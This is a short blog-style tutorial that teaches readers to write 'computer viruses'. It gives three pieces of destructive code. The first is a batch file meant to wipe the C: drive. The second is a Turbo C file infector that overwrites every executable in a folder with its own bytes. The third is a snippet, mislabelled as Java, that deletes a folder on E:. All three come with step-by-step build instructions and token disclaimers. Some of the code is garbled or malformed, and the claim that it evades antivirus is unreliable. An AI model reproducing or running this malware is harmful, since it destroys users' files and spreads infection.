Create A Computer Virus

Hi...Today I'm going to tell you how to create a computer virus. As we know virus is a malicious file that can harm your computer files, so don't try these codes on your PC.
Like every programmer, I, must first warn u that creating a computer virus is illegal and one can be jailed for performing the above activity. However the coding given below aren’t that harmful , Still I would suggest CAUTION.

1. Using Notepad:

This are virus programming that are not easily detected by antivirus systems
Step-1 : open the notepad
Step-2 :  write the given below code

@echo off
Del c:/ *.* ly

Step-3 :Save the above file as .bat rather than .txt
Step-4 :run the above file
 
WARNING: it’ll delete all the files in the C:/. So don’t try this in your own computer.

2. Using C Compiler:

Step-1 : Copy the given below code into the c compiler you are using

#include <stdio.h>
#include <io.h>
#include <dos.h>
#include <dir.h>
#include <conio.h>
#include <time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&amp;ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x&gt;2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&amp;ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}


for Turbo C++ follow the steps given below for compiling :-
step-1: Compile using alt+f9
step-2 : Press f9 to generate the exe file
( Caution: don’t press ctrl+ f9 or all the files in the directory will be infected)
Step-3 : Note down the size in bytes of the exe file
Step-4 : Change the value of x =89088 with the current size of the exe file
Step-5 : Again execute the step-1 and step-2 and obtain the exe file
Step 6 : Run the exe file
 
How to test :
 
Step-1: Create a new folder
Step-2: Copy and paste some of the exe file
Step-3: Run the exe file you generated in the same folder
Step-4: Check it with your antivirus
 
Note: this above coding file is the most basic virus file that generates copy of your already existing .exe files and making them unusable.
 
3. Using java :
 
Step-1 : Name the E:/ partition delete
Step-2: Open the java editor and paste the following code

class virus
{
protected void CleanImageFolder()
{
DirectoryInfo imgInfo = new DirectoryInfo(@"E:\delete");
FileInfo []fileinDir=imgInfo.GetFiles();
for(int i=0;i<fileindir.length;i++)
{
fileinDir[i].Delete(); }
imgInfo.Delete(); }
public static void Main()
{

virus obj=new virus();
obj.CleanImageFolder(); } }</fileindir.length;i++)


step 3 : Run the above code using System.IO


WARNING: all the files present in the E:/ will be deleted after execution of the above code.
 
Try all the above codes at your own risk.
All the Information is only for knowledge purpose. For any missuse me or www.aloknecessary.blogspot.com is not responsible...